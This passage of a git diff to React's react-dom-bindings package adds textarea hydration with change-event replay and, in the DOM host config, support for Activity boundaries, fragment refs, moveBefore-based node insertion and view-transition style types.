+  domElement.addEventListener(loadEvent, cleanUp);
+  domElement.addEventListener('error', cleanUp);
+  domElement.setAttribute('src', url);
+}
diff --git a/packages/react-dom-bindings/src/client/ReactDOMTextarea.js b/packages/react-dom-bindings/src/client/ReactDOMTextarea.js
index b0a1f520fdb2..bc346b4bce40 100644
--- a/packages/react-dom-bindings/src/client/ReactDOMTextarea.js
+++ b/packages/react-dom-bindings/src/client/ReactDOMTextarea.js
@@ -13,6 +13,9 @@ import {getCurrentFiberOwnerNameInDevOrNull} from 'react-reconciler/src/ReactCur
 import {getToStringValue, toString} from './ToStringValue';
 import {disableTextareaChildren} from 'shared/ReactFeatureFlags';
 
+import {track, trackHydrated} from './inputValueTracking';
+import {queueChangeEvent} from '../events/ReactDOMEventReplaying';
+
 let didWarnValDefaultVal = false;
 
 /**
@@ -140,6 +143,33 @@ export function initTextarea(
       node.value = textContent;
     }
   }
+
+  track((element: any));
+}
+
+export function hydrateTextarea(
+  element: Element,
+  value: ?string,
+  defaultValue: ?string,
+): void {
+  const node: HTMLTextAreaElement = (element: any);
+  let initialValue = value;
+  if (initialValue == null) {
+    if (defaultValue == null) {
+      defaultValue = '';
+    }
+    initialValue = defaultValue;
+  }
+  // Track the value that we last observed which is the hydrated value so
+  // that any change event that fires will trigger onChange on the actual
+  // current value.
+  const stringValue = toString(getToStringValue(initialValue));
+  const changed = trackHydrated((node: any), stringValue, false);
+  if (changed) {
+    // If the current value is different, that suggests that the user
+    // changed it before hydration. Queue a replay of the change event.
+    queueChangeEvent(node);
+  }
 }
 
 export function restoreControlledTextareaState(
diff --git a/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js b/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js
index 03fcee884186..538dd4b70965 100644
--- a/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js
+++ b/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js
@@ -14,7 +14,7 @@ import type {
   IntersectionObserverOptions,
   ObserveVisibleRectsCallback,
 } from 'react-reconciler/src/ReactTestSelectors';
-import type {ReactScopeInstance} from 'shared/ReactTypes';
+import type {ReactContext, ReactScopeInstance} from 'shared/ReactTypes';
 import type {AncestorInfoDev} from './validateDOMNesting';
 import type {FormStatus} from 'react-dom-bindings/src/shared/ReactDOMFormActions';
 import type {
@@ -25,12 +25,18 @@ import type {
   PreinitScriptOptions,
   PreinitModuleScriptOptions,
 } from 'react-dom/src/shared/ReactDOMTypes';
+import type {TransitionTypes} from 'react/src/ReactTransitionType';
+
+import {NotPending} from '../shared/ReactDOMFormActions';
+
+import {setSrcObject} from './ReactDOMSrcObject';
 
-import {NotPending} from 'react-dom-bindings/src/shared/ReactDOMFormActions';
 import {getCurrentRootHostContainer} from 'react-reconciler/src/ReactFiberHostContext';
+import {runWithFiberInDEV} from 'react-reconciler/src/ReactCurrentFiber';
 
 import hasOwnProperty from 'shared/hasOwnProperty';
 import {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';
+import {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';
 
 export {
   setCurrentUpdatePriority,
@@ -40,6 +46,8 @@ export {
 import {
   precacheFiberNode,
   updateFiberProps,
+  getFiberCurrentPropsFromNode,
+  getInstanceFromNode,
   getClosestInstanceFromNode,
   getFiberFromScopeInstance,
   getInstanceFromNode as getInstanceFromNodeDOMTree,
@@ -50,6 +58,20 @@ import {
   markNodeAsHoistable,
   isOwnedInstance,
 } from './ReactDOMComponentTree';
+import {
+  traverseFragmentInstance,
+  getFragmentParentHostFiber,
+  getInstanceFromHostFiber,
+  isFiberFollowing,
+  isFiberPreceding,
+  getFragmentInstanceSiblings,
+  traverseFragmentInstanceDeeply,
+  fiberIsPortaledIntoHost,
+  isFiberContainedByFragment,
+  isFragmentContainedByFiber,
+} from 'react-reconciler/src/ReactFiberTreeReflection';
+import {compareDocumentPositionForEmptyFragment} from 'shared/ReactDOMFragmentRefShared';
+
 export {detachDeletedInstance};
 import {hasRole} from './DOMAccessibilityRoles';
 import {
@@ -62,6 +84,9 @@ import {
   diffHydratedText,
   trapClickOnNonInteractiveElement,
 } from './ReactDOMComponent';
+import {hydrateInput} from './ReactDOMInput';
+import {hydrateTextarea} from './ReactDOMTextarea';
+import {hydrateSelect} from './ReactDOMSelect';
 import {getSelectionInformation, restoreSelection} from './ReactInputSelection';
 import setTextContent from './setTextContent';
 import {
@@ -83,14 +108,26 @@ import {
   DOCUMENT_FRAGMENT_NODE,
 } from './HTMLNodeType';
 
-import {retryIfBlockedOn} from '../events/ReactDOMEventReplaying';
+import {
+  flushEventReplaying,
+  retryIfBlockedOn,
+} from '../events/ReactDOMEventReplaying';
 
 import {
   enableCreateEventHandleAPI,
   enableScopeAPI,
   enableTrustedTypesIntegration,
-  enableAsyncActions,
   disableLegacyMode,
+  enableMoveBefore,
+  disableCommentsAsDOMContainers,
+  enableSuspenseyImages,
+  enableSrcObject,
+  enableViewTransition,
+  enableHydrationChangeEvent,
+  enableFragmentRefsScrollIntoView,
+  enableProfilerTimer,
+  enableFragmentRefsInstanceHandles,
+  enableFragmentRefsTextNodes,
 } from 'shared/ReactFeatureFlags';
 import {
   HostComponent,
@@ -106,6 +143,14 @@ import {requestFormReset as requestFormResetOnFiber} from 'react-reconciler/src/
 
 import ReactDOMSharedInternals from 'shared/ReactDOMSharedInternals';
 
+export {default as rendererVersion} from 'shared/ReactVersion';
+
+import noop from 'shared/noop';
+import estimateBandwidth from './estimateBandwidth';
+
+export const rendererPackageName = 'react-dom';
+export const extraDevToolsConfig = null;
+
 export type Type = string;
 export type Props = {
   autoFocus?: boolean,
@@ -114,14 +159,35 @@ export type Props = {
   hidden?: boolean,
   suppressHydrationWarning?: boolean,
   dangerouslySetInnerHTML?: mixed,
-  style?: {display?: string, ...},
+  style?: {
+    display?: string,
+    viewTransitionName?: string,
+    'view-transition-name'?: string,
+    viewTransitionClass?: string,
+    'view-transition-class'?: string,
+    margin?: string,
+    marginTop?: string,
+    'margin-top'?: string,
+    marginBottom?: string,
+    'margin-bottom'?: string,
+    ...
+  },
   bottom?: null | number,
   left?: null | number,
   right?: null | number,
   top?: null | number,
   is?: string,
   size?: number,
+  value?: string,
+  defaultValue?: string,
+  checked?: boolean,
+  defaultChecked?: boolean,
   multiple?: boolean,
+  type?: string,
+  src?: string | Blob | MediaSource | MediaStream, // TODO: Response
+  srcSet?: string,
+  loading?: 'eager' | 'lazy',
+  onLoad?: (event: any) => void,
   ...
 };
 type RawProps = {
@@ -143,19 +209,31 @@ export type EventTargetChildElement = {
   },
   ...
 };
+
 export type Container =
   | interface extends Element {_reactRootContainer?: FiberRoot}
   | interface extends Document {_reactRootContainer?: FiberRoot}
   | interface extends DocumentFragment {_reactRootContainer?: FiberRoot};
 export type Instance = Element;
 export type TextInstance = Text;
-export interface SuspenseInstance extends Comment {
-  _reactRetry?: () => void;
+
+type InstanceWithFragmentHandles = Instance & {
+  reactFragments?: Set<FragmentInstanceType>,
+};
+
+declare class ActivityInterface extends Comment {}
+declare class SuspenseInterface extends Comment {
+  _reactRetry: void | (() => void);
 }
+
+export type ActivityInstance = ActivityInterface;
+export type SuspenseInstance = SuspenseInterface;
+
 type FormStateMarkerInstance = Comment;
 export type HydratableInstance =
   | Instance
   | TextInstance
+  | ActivityInstance
   | SuspenseInstance
   | FormStateMarkerInstance;
 export type PublicInstance = Element | Text;
@@ -173,6 +251,14 @@ export type RendererInspectionConfig = $ReadOnly<{}>;
 
 export type TransitionStatus = FormStatus;
 
+export type ViewTransitionInstance = {
+  name: string,
+  group: mixin$Animatable,
+  imagePair: mixin$Animatable,
+  old: mixin$Animatable,
+  new: mixin$Animatable,
+};
+
 type SelectionInformation = {
   focusedElem: null | HTMLElement,
   selectionRange: mixed,
@@ -180,13 +266,21 @@ type SelectionInformation = {
 
 const SUPPRESS_HYDRATION_WARNING = 'suppressHydrationWarning';
 
+const ACTIVITY_START_DATA = '&';
+const ACTIVITY_END_DATA = '/&';
 const SUSPENSE_START_DATA = '$';
 const SUSPENSE_END_DATA = '/$';
 const SUSPENSE_PENDING_START_DATA = '$?';
+const SUSPENSE_QUEUED_START_DATA = '$~';
 const SUSPENSE_FALLBACK_START_DATA = '$!';
+const PREAMBLE_CONTRIBUTION_HTML = 'html';
+const PREAMBLE_CONTRIBUTION_BODY = 'body';
+const PREAMBLE_CONTRIBUTION_HEAD = 'head';
 const FORM_STATE_IS_MATCHING = 'F!';
 const FORM_STATE_IS_NOT_MATCHING = 'F';
 
+const DOCUMENT_READY_STATE_LOADING = 'loading';
+
 const STYLE = 'style';
 
 opaque type HostContextNamespace = 0 | 1 | 2;
@@ -230,7 +324,7 @@ export function getRootHostContext(
     }
     default: {
       const container: any =
-        nodeType === COMMENT_NODE
+        !disableCommentsAsDOMContainers && nodeType === COMMENT_NODE
           ? rootContainerInstance.parentNode
           : rootContainerInstance;
       type = container.tagName;
@@ -319,7 +413,7 @@ export function getPublicInstance(instance: Instance): Instance {
 
 export function prepareForCommit(containerInfo: Container): Object | null {
   eventsEnabled = ReactBrowserEventEmitterIsEnabled();
-  selectionInformation = getSelectionInformation();
+  selectionInformation = getSelectionInformation(containerInfo);
   let activeInstance = null;
   if (enableCreateEventHandleAPI) {
     const focusedElem = selectionInformation.focusedElem;
@@ -351,7 +445,7 @@ export function afterActiveInstanceBlur(): void {
 }
 
 export function resetAfterCommit(containerInfo: Container): void {
-  restoreSelection(selectionInformation);
+  restoreSelection(selectionInformation, containerInfo);
   ReactBrowserEventEmitterSetEnabled(eventsEnabled);
   eventsEnabled = null;
   selectionInformation = null;
@@ -376,6 +470,44 @@ export function createHoistableInstance(
 }
 
 let didWarnScriptTags = false;
+function isScriptDataBlock(props: Props): boolean {
+  const scriptType = props.type;
+  if (typeof scriptType !== 'string' || scriptType === '') {
+    return false;
+  }
+  const lower = scriptType.toLowerCase();
+  // Special non-MIME keywords recognized by the HTML spec
+  // TODO: May be fine to also not warn about having these types be parsed as "parser-inserted"
+  if (
+    lower === 'module' ||
+    lower === 'importmap' ||
+    lower === 'speculationrules'
+  ) {
+    return false;
+  }
+  // JavaScript MIME types per https://mimesniff.spec.whatwg.org/#javascript-mime-type
+  switch (lower) {
+    case 'application/ecmascript':
+    case 'application/javascript':
+    case 'application/x-ecmascript':
+    case 'application/x-javascript':
+    case 'text/ecmascript':
+    case 'text/javascript':
+    case 'text/javascript1.0':
+    case 'text/javascript1.1':
+    case 'text/javascript1.2':
+    case 'text/javascript1.3':
+    case 'text/javascript1.4':
+    case 'text/javascript1.5':
+    case 'text/jscript':
+    case 'text/livescript':
+    case 'text/x-ecmascript':
+    case 'text/x-javascript':
+      return false;
+  }
+  // Any other non-empty type value means this is a data block
+  return true;
+}
 const warnedUnknownTags: {
   [key: string]: boolean,
 } = {
@@ -433,7 +565,13 @@ export function createInstance(
           // set to true and it does not execute
           const div = ownerDocument.createElement('div');
           if (__DEV__) {
-            if (enableTrustedTypesIntegration && !didWarnScriptTags) {
+            if (
+              enableTrustedTypesIntegration &&
+              !didWarnScriptTags &&
+              // Data block scripts are not executed by UAs anyway so
+              // we don't need to warn: https://html.spec.whatwg.org/multipage/scripting.html#attr-script-type
+              !isScriptDataBlock(props)
+            ) {
               console.error(
                 'Encountered a script tag while rendering React component. ' +
                   'Scripts inside React components are never executed when rendering ' +
@@ -443,7 +581,7 @@ export function createInstance(
               didWarnScriptTags = true;
             }
           }
-          div.innerHTML = '<script><' + '/script>'; // eslint-disable-line
+          div.innerHTML = '<script><' + '/script>';
           // This is guaranteed to yield a script element.
           const firstChild = ((div.firstChild: any): HTMLScriptElement);
           domElement = div.removeChild(firstChild);
@@ -515,10 +653,40 @@ export function createInstance(
   return domElement;
 }
 
+let didWarnForClone = false;
+
+export function cloneMutableInstance(
+  instance: Instance,
+  keepChildren: boolean,
+): Instance {
+  if (__DEV__) {
+    // Warn for problematic
+    const tagName = instance.tagName;
+    switch (tagName) {
+      case 'VIDEO':
+      case 'IFRAME':
+        if (!didWarnForClone) {
+          didWarnForClone = true;
+          // TODO: Once we have the ability to avoid cloning the root, suggest an absolutely
+          // positioned ViewTransition instead as the solution.
+          console.warn(
+            'startGestureTransition() required cloning a <%s> element since it exists in ' +
+              'both states of the gesture. This can be problematic since it will load it twice ' +
+              'Try removing or hiding it with <Activity mode="offscreen"> in the optimistic state.',
+            tagName.toLowerCase(),
+          );
+        }
+        break;
+    }
+  }
+  return instance.cloneNode(keepChildren);
+}
+
 export function appendInitialChild(
   parentInstance: Instance,
   child: Instance | TextInstance,
 ): void {
+  // Note: This should not use moveBefore() because initial are appended while disconnected.
   parentInstance.appendChild(child);
 }
 
@@ -542,6 +710,27 @@ export function finalizeInitialChildren(
   }
 }
 
+export function finalizeHydratedChildren(
+  domElement: Instance,
+  type: string,
+  props: Props,
+  hostContext: HostContext,
+): boolean {
+  // TOOD: Consider unifying this with hydrateInstance.
+  if (!enableHydrationChangeEvent) {
+    return false;
+  }
+  switch (type) {
+    case 'input':
+    case 'select':
+    case 'textarea':
+    case 'img':
+      return true;
+    default:
+      return false;
+  }
+}
+
 export function shouldSetTextContent(type: string, props: Props): boolean {
   return (
     type === 'textarea' ||
@@ -565,7 +754,11 @@ export function createTextInstance(
     const hostContextDev = ((hostContext: any): HostContextDev);
     const ancestor = hostContextDev.ancestorInfo.current;
     if (ancestor != null) {
-      validateTextNesting(text, ancestor.tag);
+      validateTextNesting(
+        text,
+        ancestor.tag,
+        hostContextDev.ancestorInfo.implicitRootScope,
+      );
     }
   }
   const textNode: TextInstance = getOwnerDocumentFromRootContainer(
@@ -575,6 +768,12 @@ export function createTextInstance(
   return textNode;
 }
 
+export function cloneMutableTextInstance(
+  textInstance: TextInstance,
+): TextInstance {
+  return textInstance.cloneNode(false);
+}
+
 let currentPopstateTransitionEvent: Event | null = null;
 export function shouldAttemptEagerTransition(): boolean {
   const event = window.event;
@@ -600,6 +799,21 @@ export function shouldAttemptEagerTransition(): boolean {
   return false;
 }
 
+let schedulerEvent: void | Event = undefined;
+export function trackSchedulerEvent(): void {
+  schedulerEvent = window.event;
+}
+
+export function resolveEventType(): null | string {
+  const event = window.event;
+  return event && event !== schedulerEvent ? event.type : null;
+}
+
+export function resolveEventTimeStamp(): number {
+  const event = window.event;
+  return event && event !== schedulerEvent ? event.timeStamp : -1.1;
+}
+
 export const isPrimaryRenderer = true;
 export const warnsIfNotActing = true;
 // This initialization code may run even on server environments
@@ -609,16 +823,14 @@ export const scheduleTimeout: any =
   typeof setTimeout === 'function' ? setTimeout : (undefined: any);
 export const cancelTimeout: any =
   typeof clearTimeout === 'function' ? clearTimeout : (undefined: any);
-export const noTimeout = -1;
+export const noTimeout: -1 = -1;
 const localPromise = typeof Promise === 'function' ? Promise : undefined;
 const localRequestAnimationFrame =
   typeof requestAnimationFrame === 'function'
     ? requestAnimationFrame
     : scheduleTimeout;
 
-export function getInstanceFromNode(node: HTMLElement): null | Object {
-  return getClosestInstanceFromNode(node) || null;
-}
+export {getClosestInstanceFromNode as getInstanceFromNode};
 
 export function preparePortalMount(portalInstance: Instance): void {
   listenToAllSupportedEvents(portalInstance);
@@ -650,9 +862,9 @@ export const scheduleMicrotask: any =
   typeof queueMicrotask === 'function'
     ? queueMicrotask
     : typeof localPromise !== 'undefined'
-    ? callback =>
-        localPromise.resolve(null).then(callback).catch(handleErrorInNextTick)
-    : scheduleTimeout; // TODO: Determine the best fallback here.
+      ? callback =>
+          localPromise.resolve(null).then(callback).catch(handleErrorInNextTick)
+      : scheduleTimeout; // TODO: Determine the best fallback here.
 
 function handleErrorInNextTick(error: any) {
   setTimeout(() => {
@@ -692,14 +904,84 @@ export function commitMount(
       }
       return;
     case 'img': {
-      if ((newProps: any).src) {
-        ((domElement: any): HTMLImageElement).src = (newProps: any).src;
+      // The technique here is to assign the src or srcSet property to cause the browser
+      // to issue a new load event. If it hasn't loaded yet it'll fire whenever the load actually completes.
+      // If it has already loaded we missed it so the second load will still be the first one that executes
+      // any associated onLoad props.
+      // Even if we have srcSet we prefer to reassign src. The reason is that Firefox does not trigger a new
+      // load event when only srcSet is assigned. Chrome will trigger a load event if either is assigned so we
+      // only need to assign one. And Safari just never triggers a new load event which means this technique
+      // is already a noop regardless of which properties are assigned. We should revisit if browsers update
+      // this heuristic in the future.
+      if (newProps.src) {
+        const src = (newProps: any).src;
+        if (enableSrcObject && typeof src === 'object') {
+          // For object src, we can't just set the src again to the same blob URL because it might have
+          // already revoked if it loaded before this. However, we can create a new blob URL and set that.
+          // This is relatively cheap since the blob is already in memory but this might cause some
+          // duplicated work.
+          // TODO: We could maybe detect if load hasn't fired yet and if so reuse the URL.
+          try {
+            setSrcObject(domElement, type, src);
+            return;
+          } catch (x) {
+            // If URL.createObjectURL() errors, it was probably some other object type
+            // that should be toString:ed instead, so we just fall-through to the normal
+            // path.
+          }
+        }
+        ((domElement: any): HTMLImageElement).src = src;
+      } else if (newProps.srcSet) {
+        ((domElement: any): HTMLImageElement).srcset = (newProps: any).srcSet;
       }
       return;
     }
   }
 }
 
+export function commitHydratedInstance(
+  domElement: Instance,
+  type: string,
+  props: Props,
+  internalInstanceHandle: Object,
+): void {
+  if (!enableHydrationChangeEvent) {
+    return;
+  }
+  // This fires in the commit phase if a hydrated instance needs to do further
+  // work in the commit phase. Similar to commitMount. However, this should not
+  // do things that would've already happened such as set auto focus since that
+  // would steal focus. It's only scheduled if finalizeHydratedChildren returns
+  // true.
+  switch (type) {
+    case 'input': {
+      hydrateInput(
+        domElement,
+        props.value,
+        props.defaultValue,
+        props.checked,
+        props.defaultChecked,
+      );
+      break;
+    }
+    case 'select': {
+      hydrateSelect(
+        domElement,
+        props.value,
+        props.defaultValue,
+        props.multiple,
+      );
+      break;
+    }
+    case 'textarea':
+      hydrateTextarea(domElement, props.value, props.defaultValue);
+      break;
+    case 'img':
+      // TODO: Should we replay onLoad events?
+      break;
+  }
+}
+
 export function commitUpdate(
   domElement: Instance,
   type: string,
@@ -727,25 +1009,96 @@ export function commitTextUpdate(
   textInstance.nodeValue = newText;
 }
 
+const supportsMoveBefore =
+  // $FlowFixMe[prop-missing]: We're doing the feature detection here.
+  enableMoveBefore &&
+  typeof window !== 'undefined' &&
+  typeof window.Element.prototype.moveBefore === 'function';
+
 export function appendChild(
   parentInstance: Instance,
   child: Instance | TextInstance,
 ): void {
-  parentInstance.appendChild(child);
+  if (supportsMoveBefore && child.parentNode !== null) {
+    // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.
+    parentInstance.moveBefore(child, null);
+  } else {
+    parentInstance.appendChild(child);
+  }
+}
+
+function warnForReactChildrenConflict(container: Container): void {
+  if (__DEV__) {
+    if ((container: any).__reactWarnedAboutChildrenConflict) {
+      return;
+    }
+    const props = getFiberCurrentPropsFromNode(container);
+    if (props !== null) {
+      const fiber = getInstanceFromNode(container);
+      if (fiber !== null) {
+        if (
+          typeof props.children === 'string' ||
+          typeof props.children === 'number'
+        ) {
+          (container: any).__reactWarnedAboutChildrenConflict = true;
+          // Run the warning with the Fiber of the container for context of where the children are specified.
+          // We could also maybe use the Portal. The current execution context is the child being added.
+          runWithFiberInDEV(fiber, () => {
+            console.error(
+              'Cannot use a ref on a React element as a container to `createRoot` or `createPortal` ' +
+                'if that element also sets "children" text content using React. It should be a leaf with no children. ' +
+                "Otherwise it's ambiguous which children should be used.",
+            );
+          });
+        } else if (props.dangerouslySetInnerHTML != null) {
+          (container: any).__reactWarnedAboutChildrenConflict = true;
+          runWithFiberInDEV(fiber, () => {
+            console.error(
+              'Cannot use a ref on a React element as a container to `createRoot` or `createPortal` ' +
+                'if that element also sets "dangerouslySetInnerHTML" using React. It should be a leaf with no children. ' +
+                "Otherwise it's ambiguous which children should be used.",
+            );
+          });
+        }
+      }
+    }
+  }
 }
 
 export function appendChildToContainer(
   container: Container,
   child: Instance | TextInstance,
 ): void {
-  let parentNode;
-  if (container.nodeType === COMMENT_NODE) {
+  if (__DEV__) {
+    warnForReactChildrenConflict(container);
+  }
+  let parentNode: DocumentFragment | Element;
+  if (container.nodeType === DOCUMENT_NODE) {
+    parentNode = (container: any).body;
+  } else if (
+    !disableCommentsAsDOMContainers &&
+    container.nodeType === COMMENT_NODE
+  ) {
     parentNode = (container.parentNode: any);
-    parentNode.insertBefore(child, container);
+    if (supportsMoveBefore && child.parentNode !== null) {
+      // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.
+      parentNode.moveBefore(child, container);
+    } else {
+      parentNode.insertBefore(child, container);
+    }
+    return;
+  } else if (container.nodeName === 'HTML') {
+    parentNode = (container.ownerDocument.body: any);
+  } else {
+    parentNode = (container: any);
+  }
+  if (supportsMoveBefore && child.parentNode !== null) {
+    // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.
+    parentNode.moveBefore(child, null);
   } else {
-    parentNode = container;
     parentNode.appendChild(child);
   }
+
   // This container might be used for a portal.
   // If something inside a portal is clicked, that click should bubble
   // through the React tree. However, on Mobile Safari the click would
@@ -767,23 +1120,49 @@ export function appendChildToContainer(
 export function insertBefore(
   parentInstance: Instance,
   child: Instance | TextInstance,
-  beforeChild: Instance | TextInstance | SuspenseInstance,
+  beforeChild: Instance | TextInstance | SuspenseInstance | ActivityInstance,
 ): void {
-  parentInstance.insertBefore(child, beforeChild);
+  if (supportsMoveBefore && child.parentNode !== null) {
+    // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.
+    parentInstance.moveBefore(child, beforeChild);
+  } else {
+    parentInstance.insertBefore(child, beforeChild);
+  }
 }
 
 export function insertInContainerBefore(
   container: Container,
   child: Instance | TextInstance,
-  beforeChild: Instance | TextInstance | SuspenseInstance,
+  beforeChild: Instance | TextInstance | SuspenseInstance | ActivityInstance,
 ): void {
-  if (container.nodeType === COMMENT_NODE) {
-    (container.parentNode: any).insertBefore(child, beforeChild);
+  if (__DEV__) {
+    warnForReactChildrenConflict(container);
+  }
+  let parentNode: DocumentFragment | Element;
+  if (container.nodeType === DOCUMENT_NODE) {
+    parentNode = (container: any).body;
+  } else if (
+    !disableCommentsAsDOMContainers &&
+    container.nodeType === COMMENT_NODE
+  ) {
+    parentNode = (container.parentNode: any);
+  } else if (container.nodeName === 'HTML') {
+    parentNode = (container.ownerDocument.body: any);
+  } else {
+    parentNode = (container: any);
+  }
+  if (supportsMoveBefore && child.parentNode !== null) {
+    // $FlowFixMe[prop-missing]: We've checked this with supportsMoveBefore.
+    parentNode.moveBefore(child, beforeChild);
   } else {
-    container.insertBefore(child, beforeChild);
+    parentNode.insertBefore(child, beforeChild);
   }
 }
 
+export function isSingletonScope(type: string): boolean {
+  return type === 'head';
+}
+
 function createEvent(type: DOMEventName, bubbles: boolean): Event {
   const event = document.createEvent('Event');
   event.initEvent(((type: any): string), bubbles, false);
@@ -818,27 +1197,36 @@ function dispatchAfterDetachedBlur(target: HTMLElement): void {
 
 export function removeChild(
   parentInstance: Instance,
-  child: Instance | TextInstance | SuspenseInstance,
+  child: Instance | TextInstance | SuspenseInstance | ActivityInstance,
 ): void {
   parentInstance.removeChild(child);
 }
 
 export function removeChildFromContainer(
   container: Container,
-  child: Instance | TextInstance | SuspenseInstance,
+  child: Instance | TextInstance | SuspenseInstance | ActivityInstance,
 ): void {
-  if (container.nodeType === COMMENT_NODE) {
-    (container.parentNode: any).removeChild(child);
+  let parentNode: DocumentFragment | Element;
+  if (container.nodeType === DOCUMENT_NODE) {
+    parentNode = (container: any).body;
+  } else if (
+    !disableCommentsAsDOMContainers &&
+    container.nodeType === COMMENT_NODE
+  ) {
+    parentNode = (container.parentNode: any);
+  } else if (container.nodeName === 'HTML') {
+    parentNode = (container.ownerDocument.body: any);
   } else {
-    container.removeChild(child);
+    parentNode = (container: any);
   }
+  parentNode.removeChild(child);
 }
 
-export function clearSuspenseBoundary(
+function clearHydrationBoundary(
   parentInstance: Instance,
-  suspenseInstance: SuspenseInstance,
+  hydrationInstance: SuspenseInstance | ActivityInstance,
 ): void {
-  let node: Node = suspenseInstance;
+  let node: Node = hydrationInstance;
   // Delete all nodes within this suspense boundary.
   // There might be nested nodes so we need to keep track of how
   // deep we are and only break out when we're back on top.
@@ -848,11 +1236,11 @@ export function clearSuspenseBoundary(
     parentInstance.removeChild(node);
     if (nextNode && nextNode.nodeType === COMMENT_NODE) {
       const data = ((nextNode: any).data: string);
-      if (data === SUSPENSE_END_DATA) {
+      if (data === SUSPENSE_END_DATA || data === ACTIVITY_END_DATA) {
         if (depth === 0) {
           parentInstance.removeChild(nextNode);
           // Retry if any event replaying was blocked on this.
-          retryIfBlockedOn(suspenseInstance);
+          retryIfBlockedOn(hydrationInstance);
           return;
         } else {
           depth--;
@@ -860,9 +1248,28 @@ export function clearSuspenseBoundary(
       } else if (
         data === SUSPENSE_START_DATA ||
         data === SUSPENSE_PENDING_START_DATA ||
-        data === SUSPENSE_FALLBACK_START_DATA
+        data === SUSPENSE_QUEUED_START_DATA ||
+        data === SUSPENSE_FALLBACK_START_DATA ||
+        data === ACTIVITY_START_DATA
       ) {
         depth++;
+      } else if (data === PREAMBLE_CONTRIBUTION_HTML) {
+        // If a preamble contribution marker is found within the bounds of this boundary,
+        // then it contributed to the html tag and we need to reset it.
+        const ownerDocument = parentInstance.ownerDocument;
+        const documentElement: Element = (ownerDocument.documentElement: any);
+        releaseSingletonInstance(documentElement);
+      } else if (data === PREAMBLE_CONTRIBUTION_HEAD) {
+        const ownerDocument = parentInstance.ownerDocument;
+        const head: Element = (ownerDocument.head: any);
+        releaseSingletonInstance(head);
+        // We need to clear the head because this is the only singleton that can have children that
+        // were part of this boundary but are not inside this boundary.
+        clearHead(head);
+      } else if (data === PREAMBLE_CONTRIBUTION_BODY) {
+        const ownerDocument = parentInstance.ownerDocument;
+        const body: Element = (ownerDocument.body: any);
+        releaseSingletonInstance(body);
       }
     }
     // $FlowFixMe[incompatible-type] we bail out when we get a null
@@ -870,24 +1277,117 @@ export function clearSuspenseBoundary(
   } while (node);
   // TODO: Warn, we didn't find the end comment boundary.
   // Retry if any event replaying was blocked on this.
-  retryIfBlockedOn(suspenseInstance);
+  retryIfBlockedOn(hydrationInstance);
 }
 
-export function clearSuspenseBoundaryFromContainer(
-  container: Container,
+export function clearActivityBoundary(
+  parentInstance: Instance,
+  activityInstance: ActivityInstance,
+): void {
+  clearHydrationBoundary(parentInstance, activityInstance);
+}
+
+export function clearSuspenseBoundary(
+  parentInstance: Instance,
   suspenseInstance: SuspenseInstance,
 ): void {
-  if (container.nodeType === COMMENT_NODE) {
-    clearSuspenseBoundary((container.parentNode: any), suspenseInstance);
-  } else if (container.nodeType === ELEMENT_NODE) {
-    clearSuspenseBoundary((container: any), suspenseInstance);
+  clearHydrationBoundary(parentInstance, suspenseInstance);
+}
+
+function clearHydrationBoundaryFromContainer(
+  container: Container,
+  hydrationInstance: SuspenseInstance | ActivityInstance,
+): void {
+  let parentNode: DocumentFragment | Element;
+  if (container.nodeType === DOCUMENT_NODE) {
+    parentNode = (container: any).body;
+  } else if (
+    !disableCommentsAsDOMContainers &&
+    container.nodeType === COMMENT_NODE
+  ) {
+    parentNode = (container.parentNode: any);
+  } else if (container.nodeName === 'HTML') {
+    parentNode = (container.ownerDocument.body: any);
   } else {
-    // Document nodes should never contain suspense boundaries.
+    parentNode = (container: any);
   }
+  clearHydrationBoundary(parentNode, hydrationInstance);
   // Retry if any event replaying was blocked on this.
   retryIfBlockedOn(container);
 }
 
+export function clearActivityBoundaryFromContainer(
+  container: Container,
+  activityInstance: ActivityInstance,
+): void {
+  clearHydrationBoundaryFromContainer(container, activityInstance);
+}
+
+export function clearSuspenseBoundaryFromContainer(
+  container: Container,
+  suspenseInstance: SuspenseInstance,
+): void {
+  clearHydrationBoundaryFromContainer(container, suspenseInstance);
+}
+
+function hideOrUnhideDehydratedBoundary(
+  suspenseInstance: SuspenseInstance | ActivityInstance,
+  isHidden: boolean,
+) {
+  let node: Node = suspenseInstance;
+  // Unhide all nodes within this suspense boundary.
+  let depth = 0;
+  do {
+    const nextNode = node.nextSibling;
+    if (node.nodeType === ELEMENT_NODE) {
+      const instance = ((node: any): HTMLElement & {_stashedDisplay?: string});
+      if (isHidden) {
+        instance._stashedDisplay = instance.style.display;
+        instance.style.display = 'none';
+      } else {
+        instance.style.display = instance._stashedDisplay || '';
+        if (instance.getAttribute('style') === '') {
+          instance.removeAttribute('style');
+        }
+      }
+    } else if (node.nodeType === TEXT_NODE) {
+      const textNode = ((node: any): Text & {_stashedText?: string});
+      if (isHidden) {
+        textNode._stashedText = textNode.nodeValue;
+        textNode.nodeValue = '';
+      } else {
+        textNode.nodeValue = textNode._stashedText || '';
+      }
+    }
+    if (nextNode && nextNode.nodeType === COMMENT_NODE) {
+      const data = ((nextNode: any).data: string);
+      if (data === SUSPENSE_END_DATA) {
+        if (depth === 0) {
+          return;
+        } else {
+          depth--;
+        }
+      } else if (
+        data === SUSPENSE_START_DATA ||
+        data === SUSPENSE_PENDING_START_DATA ||
+        data === SUSPENSE_QUEUED_START_DATA ||
+        data === SUSPENSE_FALLBACK_START_DATA
+      ) {
+        depth++;
+      }
+      // TODO: Should we hide preamble contribution in this case?
+    }
+    // $FlowFixMe[incompatible-type] we bail out when we get a null
+    node = nextNode;
+  } while (node);
+}
+
+export function hideDehydratedBoundary(
+  suspenseInstance: SuspenseInstance,
+): void {
+  hideOrUnhideDehydratedBoundary(suspenseInstance, true);
+}
+
 export function hideInstance(instance: Instance): void {
   // TODO: Does this work for all element types? What about MathML? Should we
   // pass host context to this method?
@@ -901,32 +1401,2256 @@ export function hideInstance(instance: Instance): void {
   }
 }
 
-export function hideTextInstance(textInstance: TextInstance): void {
-  textInstance.nodeValue = '';
